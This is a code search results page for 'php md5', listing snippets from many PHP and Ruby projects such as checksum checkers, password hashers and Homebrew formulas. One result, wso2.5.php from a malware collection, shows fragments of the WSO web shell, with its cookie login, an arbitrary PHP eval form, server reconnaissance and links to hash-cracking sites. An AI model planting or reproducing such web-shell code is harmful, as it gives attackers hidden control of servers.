PageRenderTime 1927ms queryFilters 0ms Sphinxql 1288ms GetByIds 367ms meta 0ms repositoryFilters 117ms languageFilters 1ms sourceFilters 38ms

66,045 results for 'php md5 repo:organicdevelopment/joomla-2.5' (1927 ms)

Source

Language

Repository

htpasswd_filter.php https://github.com/Yannix/zetacomponents.git | PHP | 251 lines
1<?php
2/**
31 * It supports files created with the htpasswd command options
32 *  -m (MD5 encryption - different than the PHP md5() function)
33 *  -d (CRYPT encryption)
sqlite.php http://opensource.apple.com/release/mac-os-x-1074/ | PHP | 61 lines
4<head>
5<title>sqlite.php</title>
6<style type="text/css">
18<body id="top">
19<h1 style="margin:8px;" id="f1">sqlite.php&nbsp;&nbsp;&nbsp;<span style="font-weight: normal; font-size: 0.5em;">[<a href="?txt">plain text</a>]</span></h1>
20<hr/>
22<pre>
23&lt;?php
24if (!extension_loaded(&quot;sqlite&quot;)) {
42
43$r = sqlite_query(&quot;select *, php('md5', sql) as o from sqlite_master&quot;, $s);
44debug_zval_dump($r);
mcrypt-php.rb https://github.com/mszarski/homebrew.git | Ruby | 29 lines
3class McryptPhp < Formula
4  url 'http://us.php.net/get/php-5.3.6.tar.gz/from/fr.php.net/mirror'
5  homepage 'http://php.net/manual/fr/book.mcrypt.php'
5  homepage 'http://php.net/manual/fr/book.mcrypt.php'
6  md5 '88a2b00047bc53afbbbdf10ebe28a57e'
7  version '5.3.6'
12    Dir.chdir "ext/mcrypt"
13    system "phpize"
14    system "./configure", "--disable-dependency-tracking",
20  def caveats; <<-EOS.undent
21    To finish mcrypt-php installation, you need to add the
22    following line into php.ini:
23      extension="#{prefix}/mcrypt.so"
24    Then, restart your webserver and check in phpinfo if
25    you're able to see something about mcrypt
php-apc.rb https://github.com/justinrainbow/homebrew.git | Ruby | 32 lines
2
3class PhpApc <Formula
4  url 'http://pecl.php.net/get/APC-3.1.4.tgz'
4  url 'http://pecl.php.net/get/APC-3.1.4.tgz'
5  homepage 'http://php.net/manual/en/book.apc.php'
6  md5 '1f7a58f850e795b0958a3f99ae8c2cc4'
12      ENV.universal_binary unless Hardware.is_64_bit?
13      system "phpize"
14      system "./configure", "--disable-debug", "--disable-dependency-tracking",
14      system "./configure", "--disable-debug", "--disable-dependency-tracking",
15                            "--with-php-config=#{Formula.factory('php').prefix}/bin/php-config",
16                            "--prefix=#{prefix}"
24    
25    To enable, add the following to your php.ini file:
26    
theme.class.php http://litepublisher.googlecode.com/svn/trunk/ | PHP | 639 lines
1<?php
2/**
20  public static function exists($name) {
21    return file_exists(litepublisher::$paths->data . 'themes'. DIRECTORY_SEPARATOR . $name . '.php') ||
22    file_exists(litepublisher::$paths->themes . $name . DIRECTORY_SEPARATOR  . 'about.ini');
459    if (isset(self::$inifiles[$filename])) return self::$inifiles[$filename];
460    $datafile = tlocal::getcachedir() . sprintf('cacheini.%s.php', md5($filename));
461    if (!tfilestorage::loadvar($datafile, $ini) || !is_array($ini)) {
sqlite.php git://github.com/infusion/PHP.git | PHP | 36 lines
1<?php
2if (!extension_loaded("sqlite")) {
20
21$r = sqlite_query("select *, php('md5', sql) as o from sqlite_master", $s);
22debug_zval_dump($r);
twitter.php https://bitbucket.org/organicdevelopment/joomla-2.5.git | PHP | 275 lines
1<?php
2/**
175			if ($path = $this['path']->path('cache:twitter')) {
176				$file = rtrim($path, '/').sprintf('/twitter-%s.php', md5($url));
177
checkmd5.php https://bitbucket.org/chamilo/chamilo/ | PHP | 2,199 lines
7  $files_ko[] = "<span style=\"color:#F33\">corrupted - ./i18n/uk_RO/main.php (please replace this file by a correct one)</span>\n";
8if (md5(file_get_contents("./i18n/sv_SE/main.php")) == "cabfe1e9bfb71fc9d420650a8c1a0a71")
9  $files_ok[] = "<span style=\"color:#3A3\">ok - ./i18n/sv_SE/main.php</span>\n";
167  $files_ko[] = "<span style=\"color:#F33\">corrupted - ./demo/demo3_server.php (please replace this file by a correct one)</span>\n";
168if (md5(file_get_contents("./demo/demo18_phpbb2_smiley_theme.php")) == "84b8b67d271bb58a905f54ed22abc6ee")
169  $files_ok[] = "<span style=\"color:#3A3\">ok - ./demo/demo18_phpbb2_smiley_theme.php</span>\n";
491  $files_ko[] = "<span style=\"color:#F33\">corrupted - ./demo/demo64_in_galician.php (please replace this file by a correct one)</span>\n";
492if (md5(file_get_contents("./demo/demo49_msn_smiley_theme.php")) == "e9993743a7ced60c18dd2909fb96db7a")
493  $files_ok[] = "<span style=\"color:#3A3\">ok - ./demo/demo49_msn_smiley_theme.php</span>\n";
747  $files_ko[] = "<span style=\"color:#F33\">corrupted - ./themes/zilveer/images/pfc_words.png (please replace this file by a correct one)</span>\n";
748if (md5(file_get_contents("./themes/zilveer/info.php")) == "29daa1a30f32336276cf1ca2818d381d")
749  $files_ok[] = "<span style=\"color:#3A3\">ok - ./themes/zilveer/info.php</span>\n";
751  $files_ko[] = "<span style=\"color:#F33\">corrupted - ./themes/zilveer/info.php (please replace this file by a correct one)</span>\n";
752if (md5(file_get_contents("./themes/zilveer/style.css.php")) == "e04f2206ee560a7f3e0829140dd7c684")
753  $files_ok[] = "<span style=\"color:#3A3\">ok - ./themes/zilveer/style.css.php</span>\n";
checkmd5.php https://bitbucket.org/chamilo/chamilo-dev/ | PHP | 2,199 lines
7    $files_ko[] = "<span style=\"color:#F33\">corrupted - ./i18n/uk_RO/main.php (please replace this file by a correct one)</span>\n";
8if (md5(file_get_contents("./i18n/sv_SE/main.php")) == "cabfe1e9bfb71fc9d420650a8c1a0a71")
9    $files_ok[] = "<span style=\"color:#3A3\">ok - ./i18n/sv_SE/main.php</span>\n";
163    $files_ko[] = "<span style=\"color:#F33\">corrupted - ./demo/demo20_in_brazilian_portuguese.php (please replace this file by a correct one)</span>\n";
164if (md5(file_get_contents("./demo/demo3_server.php")) == "2556330e0b99d525fdfa7ce69e94b9d9")
165    $files_ok[] = "<span style=\"color:#3A3\">ok - ./demo/demo3_server.php</span>\n";
167    $files_ko[] = "<span style=\"color:#F33\">corrupted - ./demo/demo3_server.php (please replace this file by a correct one)</span>\n";
168if (md5(file_get_contents("./demo/demo18_phpbb2_smiley_theme.php")) == "84b8b67d271bb58a905f54ed22abc6ee")
169    $files_ok[] = "<span style=\"color:#3A3\">ok - ./demo/demo18_phpbb2_smiley_theme.php</span>\n";
687    $files_ko[] = "<span style=\"color:#F33\">corrupted - ./themes/green/images/ch.gif (please replace this file by a correct one)</span>\n";
688if (md5(file_get_contents("./themes/green/info.php")) == "c1b928cf2e0a869020e268b9e66ed9f2")
689    $files_ok[] = "<span style=\"color:#3A3\">ok - ./themes/green/info.php</span>\n";
691    $files_ko[] = "<span style=\"color:#F33\">corrupted - ./themes/green/info.php (please replace this file by a correct one)</span>\n";
692if (md5(file_get_contents("./themes/green/style.css.php")) == "077af8a583bfb0cd33e26a4178aac01f")
693    $files_ok[] = "<span style=\"color:#3A3\">ok - ./themes/green/style.css.php</span>\n";
AdminTranslations.php http://marocmall.googlecode.com/svn/trunk/ | PHP | 1,040 lines
754				foreach ($rules['validate'] AS $key => $value)
755					echo '<tr><td>'.stripslashes($key).'</td><td style="width: 380px">= <input type="text" name="'.$className.'_'.md5(addslashes($key)).'" value="'.(array_key_exists($className.'_'.md5(addslashes($key)), $_FIELDS) ? html_entity_decode($_FIELDS[$className.'_'.md5(addslashes($key))], ENT_NOQUOTES, 'UTF-8') : '').'" style="width: 350px"></td></tr>';
756			if (isset($rules['validateLang']))
757				foreach ($rules['validateLang'] AS $key => $value)
758					echo '<tr><td>'.stripslashes($key).'</td><td style="width: 380px">= <input type="text" name="'.$className.'_'.md5(addslashes($key)).'" value="'.(array_key_exists($className.'_'.md5(addslashes($key)), $_FIELDS) ? html_entity_decode($_FIELDS[$className.'_'.md5(addslashes($key))], ENT_COMPAT, 'UTF-8') : '').'" style="width: 350px"></td></tr>';
759			echo '
840								else
841									echo '<textarea rows="'.intval(strlen($key) / TEXTAREA_SIZED).'" style="width: 450px" name="'.md5($module_name.'_'.$theme_name.'_'.$template_name.'_'.md5($key)).'">'.stripslashes(preg_replace('/"/', '\&quot;', stripslashes($value))).'</textarea></td></tr>';
842							}
862		if (!file_exists(_PS_TRANSLATIONS_DIR_.$lang.'/pdf.php'))
863			if (!file_put_contents(_PS_TRANSLATIONS_DIR_.$lang.'/pdf.php', "<?php\n\nglobal \$_LANGPDF;\n\$_LANGPDF = array();\n\n?>"))
864				die('Please create a "'.Tools::strtolower($lang).'.php" file in '.realpath(PS_ADMIN_DIR.'/'));
877		foreach($matches[1] as $key)
878			$tabsArray[$tab][$key] = stripslashes(key_exists($tab.md5(addslashes($key)), $_LANGPDF) ? html_entity_decode($_LANGPDF[$tab.md5(addslashes($key))], ENT_COMPAT, 'UTF-8') : '');
879		$count += isset($tabsArray[$tab]) ? sizeof($tabsArray[$tab]) : 0;
wso2.5.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 1,517 lines
31
32    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
33        wsoLogin();
262	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
263       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
264       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
490	}
491    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
492	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
771			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
772			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
773            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
1498			"uname" => php_uname(),
1499			"php_version" => phpversion(),
1500			"ws
EfZendDb.php git://github.com/AKSW/Erfurt.git | PHP | 1,809 lines
1<?php
2/**
5 * @copyright Copyright (c) 2012, {@link http://aksw.org AKSW}
6 * @license http://opensource.org/licenses/gpl-license.php GNU General Public License (GPL)
7 */
8
9require_once 'Erfurt/Store.php';
10require_once 'Erfurt/Store/Adapter/Interface.php';
10require_once 'Erfurt/Store/Adapter/Interface.php';
11require_once 'Erfurt/Store/Sql/Interface.php';
12
72                if (extension_loaded('mysqli')) {
73                    require_once 'Zend/Db/Adapter/Mysqli.php';
74                    $this->_dbConn = new Zend_Db_Adapter_Mysqli($this->_adapterOptions);
75                } else if (extension_loaded('pdo') && extension_loaded('pdo_mysql')) {
76                    require_once 'Zend/Db/Adapter/Pdo/Mysql.php';
77                    $this->_dbConn = new Zend_Db_Adapter_Pdo_Mysql($this->_adapterOptions);
Mssql.php git://github.com/AKSW/Erfurt.git | PHP | 1,577 lines
1<?php
2/**
5 * @copyright Copyright (c) 2012, {@link http://aksw.org AKSW}
6 * @license http://opensource.org/licenses/gpl-license.php GNU General Public License (GPL)
7 */
8
9require_once 'Erfurt/Store.php';
10require_once 'Erfurt/Store/Adapter/Interface.php';
10require_once 'Erfurt/Store/Adapter/Interface.php';
11require_once 'Erfurt/Store/Sql/Interface.php';
12
19 * @copyright  Copyright (c) 2012 {@link http://aksw.org aksw}
20 * @license    http://opensource.org/licenses/gpl-license.php GNU General Public License (GPL)
21 */
69                if (extension_loaded('sqlsrv')) {
70                    require_once 'Zend/Db/Adapter/Sqlsrv.php';
71                    $this->_dbConn = new Zend_Db_Adapter_Sqlsrv($adapterOptions);
EfZendDb.php https://bitbucket.org/udfr/udfr-erfurt.git | PHP | 1,797 lines
1<?php
2/**
5 * @copyright Copyright (c) 2011, {@link http://aksw.org AKSW}
6 * @license http://opensource.org/licenses/gpl-license.php GNU General Public License (GPL)
7 */
9
10require_once 'Erfurt/Store/Adapter/Interface.php';
11require_once 'Erfurt/Store/Sql/Interface.php';
69                if (extension_loaded('mysqli')) {
70                    require_once 'Zend/Db/Adapter/Mysqli.php';
71                    $this->_dbConn = new Zend_Db_Adapter_Mysqli($adapterOptions);
72                } else if (extension_loaded('pdo') && extension_loaded('pdo_mysql')) {
73                    require_once 'Zend/Db/Adapter/Pdo/Mysql.php';
74                    $this->_dbConn = new Zend_Db_Adapter_Pdo_Mysql($adapterOptions);
75                } else {
76                    require_once 'Erfurt/Exception.php';
77                    throw new Erfurt_Exception('Neither "mysqli" nor "pdo_mysql" extension found.', -1);
Mssql.php https://bitbucket.org/udfr/udfr-erfurt.git | PHP | 1,570 lines
1<?php
2require_once 'Erfurt/Store/Adapter/Interface.php';
2require_once 'Erfurt/Store/Adapter/Interface.php';
3require_once 'Erfurt/Store/Sql/Interface.php';
4
12 * @copyright  Copyright (c) 2008 {@link http://aksw.org aksw}
13 * @license    http://opensource.org/licenses/gpl-license.php GNU General Public License (GPL)
14 * @version    $Id: RapZendDb.php 2532 2009-02-06 08:15:41Z pfrischmuth $
63                if (extension_loaded('sqlsrv')) {
64                    require_once 'Zend/Db/Adapter/Sqlsrv.php';
65                    $this->_dbConn = new Zend_Db_Adapter_Sqlsrv($adapterOptions);
66                } else {
67                    require_once 'Erfurt/Exception.php';
68                    throw new Erfurt_Exception('Sqlsrv extension not found.', -1);
75            // maybe wrong login credentials or db-server not running?!
76            require_once 'Erfurt/Exception.php';
77            throw new Erfurt_Exception('Could not connect to database with name: "' . $dbname . '". Please check your credentials and whether the database exists and the server is running.', -1);
checkmd5.php https://bitbucket.org/adamfallon/browzos.git | PHP | 3,319 lines
393";
394if (md5(file_get_contents("./lib/pear/PHPUnit/RepeatedTest.php")) == "ee280b97a8b06d6292767244a910e56c")
395  $files_ok[] = "<span style=\"color:#3A3\">ok - ./lib/pear/PHPUnit/RepeatedTest.php</span>
453";
454if (md5(file_get_contents("./lib/pear/PHPUnit/Assert.php")) == "02f09cb0b94b8450edfbd2536e02e39c")
455  $files_ok[] = "<span style=\"color:#3A3\">ok - ./lib/pear/PHPUnit/Assert.php</span>
459";
460if (md5(file_get_contents("./lib/pear/PHPUnit/TestResult.php")) == "a0c025e0ca5f1922d781db6ccb29f2b9")
461  $files_ok[] = "<span style=\"color:#3A3\">ok - ./lib/pear/PHPUnit/TestResult.php</span>
465";
466if (md5(file_get_contents("./lib/pear/PHPUnit/TestDecorator.php")) == "a0be8efea0c4416fe8e2b3099253a0d9")
467  $files_ok[] = "<span style=\"color:#3A3\">ok - ./lib/pear/PHPUnit/TestDecorator.php</span>
477";
478if (md5(file_get_contents("./lib/pear/PHPUnit.php")) == "333af11bab6eb201a1c941cded5bc9ed")
479  $files_ok[] = "<span style=\"color:#3A3\">ok - ./lib/pear/PHPUnit.php</span>
modifier.markdown.php git://github.com/openmelody/melody.git | PHP | 1,391 lines
39Plugin Name: Markdown
40Plugin URI: http://www.michelf.com/projects/php-markdown/
41Description: <a href="http://daringfireball.net/projects/markdown/syntax">Markdown syntax</a> allows you to write using an easy-to-read, easy-to-write plain text format. Based on the original Perl version by <a href="http://daringfireball.net/">John Gruber</a>. <a href="http://www.michelf.com/projects/php-markdown/">More...</a>
85		$md_hidden_tags = array(
86			'<p>'	=> md5('<p>'),		'</p>'	=> md5('</p>'),
87			'<pre>'	=> md5('<pre>'),	'</pre>'=> md5('</pre>'),
87			'<pre>'	=> md5('<pre>'),	'</pre>'=> md5('</pre>'),
88			'<ol>'	=> md5('<ol>'),		'</ol>'	=> md5('</ol>'),
89			'<ul>'	=> md5('<ul>'),		'</ul>'	=> md5('</ul>'),
89			'<ul>'	=> md5('<ul>'),		'</ul>'	=> md5('</ul>'),
90			'<li>'	=> md5('<li>'),		'</li>'	=> md5('</li>'),
91			);
1197
1198# _TokenizeHTML is shared between PHP Markdown and PHP SmartyPants.
1199# We only define it if it is not already defined.
PassHash.class.php git://github.com/splitbrain/dokuwiki.git | PHP | 637 lines
140     * The same mechanism is used by Apache's 'apr1' method. This will
141     * fallback to a implementation in pure PHP if MD5 support is not
142     * available in crypt()
442        $this->init_salt($salt, 5);
443        return 'md5$'.$salt.'$'.md5($salt.$clear);
444    }
561     *
562     * Uses salted MD5, this is referred to as Method B in MediaWiki docs. Unsalted md5
563     * method 'A' is not supported.
572        $this->init_salt($salt, 8, false);
573        return ':B:'.$salt.':'.md5($salt.'-'.md5($clear));
574    }
584     * @author KC Cloyd
585     * @link http://php.net/manual/en/function.hash-hmac.php#93440
586     *
modifier.markdown.php git://github.com/movabletype/movabletype.git | PHP | 1,405 lines
39Plugin Name: Markdown
40Plugin URI: http://www.michelf.com/projects/php-markdown/
41Description: <a href="http://daringfireball.net/projects/markdown/syntax">Markdown syntax</a> allows you to write using an easy-to-read, easy-to-write plain text format. Based on the original Perl version by <a href="http://daringfireball.net/">John Gruber</a>. <a href="http://www.michelf.com/projects/php-markdown/">More...</a>
85		$md_hidden_tags = array(
86			'<p>'	=> md5('<p>'),		'</p>'	=> md5('</p>'),
87			'<pre>'	=> md5('<pre>'),	'</pre>'=> md5('</pre>'),
87			'<pre>'	=> md5('<pre>'),	'</pre>'=> md5('</pre>'),
88			'<ol>'	=> md5('<ol>'),		'</ol>'	=> md5('</ol>'),
89			'<ul>'	=> md5('<ul>'),		'</ul>'	=> md5('</ul>'),
89			'<ul>'	=> md5('<ul>'),		'</ul>'	=> md5('</ul>'),
90			'<li>'	=> md5('<li>'),		'</li>'	=> md5('</li>'),
91			);
1211
1212# _TokenizeHTML is shared between PHP Markdown and PHP SmartyPants.
1213# We only define it if it is not already defined.
ldap.php https://squirrelmail.svn.sourceforge.net/svnroot/squirrelmail | PHP | 788 lines
548    case 'md5':
549        $ret='{MD5}' . base64_encode(pack('H*',md5($pass)));
550        break;
578    case 'sha':
579        // minimal requirement = php 4.3.0+ or php with mhash extension
580        if ( function_exists('sha1') && defined('MHASH_SHA1')) {
617        // check if crypt() supports md5
618        if (defined('CRYPT_MD5') && CRYPT_MD5==1) {
619            $ret = '{CRYPT}' . crypt($pass,'$1$' . GenerateRandomString(9,$extra_salt_chars,7));
719        // MD5 crypted passwords
720        if( strcasecmp( cpw_ldap_password_hash($pass_clear,'md5',$msgs), "{MD5}".$pass_hash ) == 0 )
721            $ret=true;
743            // ldap server might support it, but php might be on other OS
744            if (defined('CRYPT_MD5') && CRYPT_MD5==1) {
745                list(,$type,$salt,$hash) = explode('$',$pass_hash);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21